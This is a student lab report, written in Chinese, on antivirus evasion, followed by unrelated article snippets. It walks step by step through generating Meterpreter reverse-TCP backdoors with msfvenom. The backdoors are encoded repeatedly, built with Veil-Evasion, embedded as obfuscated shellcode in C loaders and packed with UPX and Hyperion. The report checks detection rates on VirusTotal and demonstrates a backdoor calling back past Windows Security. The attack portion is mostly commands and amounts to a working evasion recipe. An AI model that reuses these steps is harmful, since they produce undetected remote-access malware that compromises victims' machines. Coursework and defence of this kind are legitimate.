20222406 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2024/10/23 17:32:37/文章来源:https://www.cnblogs.com/wangdarui/p/18490064

20222406 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 实践内容

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 回答问题

  • 杀软是如何检测出恶意代码的?
  1. 基于特征码检测
  2. 基于启发式检测
  3. 基于行为的检测
  4. 基于机器学习的检测
  • 免杀是做什么?

    免杀是一种能使病毒木马免于被杀毒软件查杀的技术。其主要目的是让恶意代码或黑客工具能够在目标系统上运行而不被安全软件发现和阻止,以便黑客能够实现攻击、窃取信息等恶意行为。

  • 免杀的基本方法有哪些?

  1. 改变特征码
    如加壳,修改代码,编码转换
  2. 改变程序行为
    如反弹式连接,使用隧道技术,加密通讯数据
  3. 利用漏洞
  4. 修改文件属性

2.实验过程

2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

输入msfvenom --list formats查看msfvenom支持的所有输出格式:

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406.exe生成payload(此处使用kali的IP地址):

将文件拖入桌面,使用 - Virustatol进行检测:

输入msfvenom --list encoders查看msfvenom支持的所有编码方式:


输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406_1.exe使用编码器对payload进行编码:


输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406_2.exe多次编码(-i 10表示编码10次):


输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f jar > 20222406_3.jar选择一个适用于Java环境的payload来生成jar文件:


输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -e x86/shikata_ga_nai -i 10 -f jar > 20222406_4.jar使用编码器对payload进行编码:


输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f elf > 20222406_5.elf生成一个反向TCP连接的Linux elf可执行文件:


输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -e x86/shikata_ga_nai -i 10 -f elf > 20222406_6.elf使用编码器对payload进行编码:

2.1.2 使用veil工具加壳工具

依次输入以下命令,安装veil:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install libncurses5*

sudo apt-get install libavutil55*

sudo apt-get install gcc-mingw-w64*

sudo apt-get install wine32

此时出现报错,分别输入dpkg --add-architecture i386sudo apt-get updatesudo apt-get install wine32


再依次输入:
apt-get install veil

cd /usr/share/veil/config/
vim setup.sh,翻到图示位置:

i进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出。
输入veil进行安装,过程中需要安装多个程序,一路默认安装:

发现报错,输入sudo /usr/share/veil/config/setup.sh --force --silent继续安装:

输入veil

输入use evasion,进入Evil—Evasion:

输入list,查看可使用的payload类型:

输入use 7使用c/meterpretermrev_tcp.py:

依次输入:
set LHOST 192.168.137.128
set LPORT 2406
generate

输入生成的文件名称:20222406_veil

输入exit退出后输入cd /var/lib/veil/output/compiled/,进入文件夹,输入ls查看生成的.exe可执行文件:

使用VirusTotal进行检测:

2.1.3 使用C + shellcode编程

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f c(其中LHOST为Kali的IP地址):

输入touch 20222406.cvim 20222406.c新建文件,并进行编辑,
i将使用msfvenom生成的buf[]数组复制粘贴到打开的文件中,并输入C语言代码:

输入i686-w64-mingw32-g++ 20222406.c -o 20222406.exels

使用VirusTotal进行检测:

2.1.4 加壳工具

输入upx 20222406.exe -o upx20222406.exe进行upx加壳:

输入cp upx20222406.exe /usr/share/windows-resources/hyperion进行hyperion加壳:;
输入cd /usr/share/windows-resources/hyperion进入文件夹;
输入ls查看生成的可执行文件:

输入wine hyperion.exe -v upx20222406.exe upx20222406_1.exe

对两个exe文件使用VirusTotal进行检测:

2.2 通过组合应用各种技术实现恶意代码免杀

2.2.1 msfvenom多次编码+压缩加壳

输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f exe >20222406_4.exe

再输入upx 20222406_7.exe -o upx20222406_2.exe利用多次编码方式生成后门软件并进行加壳处理:

上传至VirusTotal检测:

2.2.2 C+shellcode编码+异或处理

输入msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f c通过msfvenom生成Shellcode数组:

输入touch 20222406_8.c新建文件和vim 20222406_8.c输入代码:


代码功能为将复制内容放入shellcode1[]数组中,通过代码将shellcode1进行凯撒加密,
并在同文件夹下新建空文件20222406_9.txt:

输入gcc 20222406_8.c -o 20222406_8.exe./20222406_8.exe:

此时密文已经输入到其中了:

将密文替换入程序中,修改代码:

接下来进行检测:

此时可见,效果已经大大改善。

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.137.128 LPORT=2406 -f raw >20222406.raw

将生成的文件20222406.raw拖入windows中:

此处我使用的是win11自带的Windows安全中心。
此时参照实验二的步骤,分别输入msfconsole进入控制台:

再依次输入
use exploit/multi/handler配置监听模块,
set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload,
set LHOST 192.168.137.128使用kali的IP,需要和之前生成后门程序时设置的IP相同,
set LPORT 2406设置端口,需要和之前生成后门程序时设置的端口相同:

通过链接安装 - shellcode_launcher:

在win的命令行中输入.\shellcode_launcher.exe -i 20222406.raw来启动文件:

接下来在kali中继续输入exploit

此时输入ls出现目录,这说明我们的病毒侵入成功:

3.问题及解决方案

  • 问题1:在2.1.2处输入sudo apt-get install wine32会报错
  • 问题1解决方案:分别输入dpkg --add-architecture i386sudo apt-get updatesudo apt-get install wine32

4.学习感悟、思考等

在本次实验中,我初步了解了恶意代码免杀技术的复杂性与多样性。通过使用各种工具和技巧,如msf编码器、veil-evasion、shellcode编程等,切实体会到了网络攻防技术的博弈性。
同时,也认识到杀毒软件在不断升级检测手段,而恶意代码的免杀方法也在不断演进。这让我深刻理解到个人PC和企业电脑要加装更加高级的防病毒系统的重要性。

参考资料

  • 《安装shellcode_launcher》
  • 《Virustatol在线工具》
  • 《实验指导书》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/819248.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

哪种IDE能同时写java和前端代码

在选择IDE(集成开发环境)来同时编写Java和前端代码时,几个主要的选择包括IntelliJ IDEA、Eclipse、和Visual Studio Code。IntelliJ IDEA提供了强大的Java开发支持和广泛的前端开发插件,Eclipse以其插件生态系统著称,可以通过安装相应的插件支持Java和前端开发,而Visual …

2024.10.22总结

byd放三道黑是吧本文于 github 博客同步更新。 今天打两场 byd放三道黑是吧。 第一场: A: CF1261F 将区间拆分为 \([x2^{i},(x+1)2^{i})\) 的形式,发现两个区间中的数两两异或后形成的仍为一个区间,将 A,B 都拆分后区间两两异或会得到 \(O(n^2\log^2n)\) 个区间,取并即为答…

【FMC163】基于VITA57.1标准的双通道3GSPS AD采集、双通道12GSPS DA回放FMC子卡模块(100%国产化)

板卡概述 FMC163是一款基于VITA57.1标准的实现2路14-bit、3GSPS ADC采集功能、2路14-bit 12GSPS DA回放FMC子卡模块。该模块遵循VITA57.1标准,可直接与FPGA载卡配合使用,该板卡支持对6GHz的射频信号进行数字化采样以及信号生成,板内集成了高性能的时钟管理模块,具有极高的收…

玄机蓝队靶场_应急响应_71:实战evtx-文件分析

windows日志排查工具: https://www.cnblogs.com/starrys/p/17129993.htmlwindows日志事件ID,参考文章:https://peterpan.blog.csdn.net/article/details/139887217下载日志分析工具FullEventLogView.exe https://www.nirsoft.net/utils/fulleventlogview-x64.zip 分别打开三个…

MySQL基于gtid同步,新增slave节点

环境说明:当前MySQL集群为一主一从, 新增加 Slave 节点,将架构变更为一主两从,集群已经运行了很长时间,主节点得binlog早就被purged,启动slave得时候会报错,1236、1062等 操作步骤:备份master数据,从节点reset master,导入数据 1.备份主节点数据:在进行任何操作之前,…

多校A层冲刺NOIP2024模拟赛11

又双叒叕垫底了。 rank 11,T1 90,T2 12,T3 5,T4 35。 accdoer上 rank 44,T1 100,T2 0,T3 5,T4 35。 难度难评,T1签,剩下的不可做?死磕T3了,猜一个结论假一个,打完暴力遗憾离场。 好像两个题库都挂了几分,不管了,赛前挂分RP就++。 慢报:5k_sync_closer成功地取得…

Java 中的垃圾收集器有哪些,它们的工作原理是什么?

在 Java 中,垃圾收集(GC)是自动内存管理的核心部分,它帮助开发者免于手动管理内存分配和回收,提升了开发效率和应用性能。Java中的主要垃圾收集器包括Serial GC、Parallel GC、CMS (Concurrent Mark Sweep) GC、G1 (Garbage-First) GC,以及最新的 ZGC (Z Garbage Collect…

应对复杂架构下的监控挑战?统一运维可观测能力是关键!

在全球数字化变革背景下,企业需适应数字经济与市场变化,进行系统性数字化转型。在“十四五”规划指导下,企业纷纷探求数字化应用之路,大数据、云计算、人工智能、区块链等技术成了热门话题,其中云运维备受瞩目。 企业在数字化转型中难免会碰到云上系统规划、运维体系建设、…

《花100块做个摸鱼小网站! 》第八篇—增加词云组件和搜索组件

⭐️基础链接导航⭐️ 服务器 → ☁️ 阿里云活动地址 看样例 → 🐟 摸鱼小网站地址 学代码 → 💻 源码库地址一、前言 大家好呀,我是summo,最近小网站崩溃了几天,原因一个是SSL证书到期,二个是免费的RDS也到期了,而我正边学习边找工作中,就没有顾得上修,不好意思哈…

2024年全国大学生信息安全竞赛安徽省赛-WP

2024年全国大学生信息安全竞赛安徽省赛-WP没有re,不会......0X01 初赛(CTF) MISC 图像损坏 损坏的GIF文件,补上缺失的文件头 ​​ 用puzz拆分GIF,得到多个图片 ​​ 每张图对应六十四挂幻方配数图,得到 Q1RGe2FiY19kZWZfZ30 ​​ ​​ base64解码得到 CTF{abc_def_g} ​​…

保姆级 | MySQL的安装配置教程(非常详细)

一、下载Mysql 从官网下载MySQL,这里我选用的是Mysql8.0.34版本二、安装Mysql 下载完成后直接双击进行安装,打开后的页面如下所示:“Developer Default”是开发者默认 “Server only”仅作为服务器安装 “Clientonly”仅作为客户端安装 “Full”是完整安装 “Custom”是自定…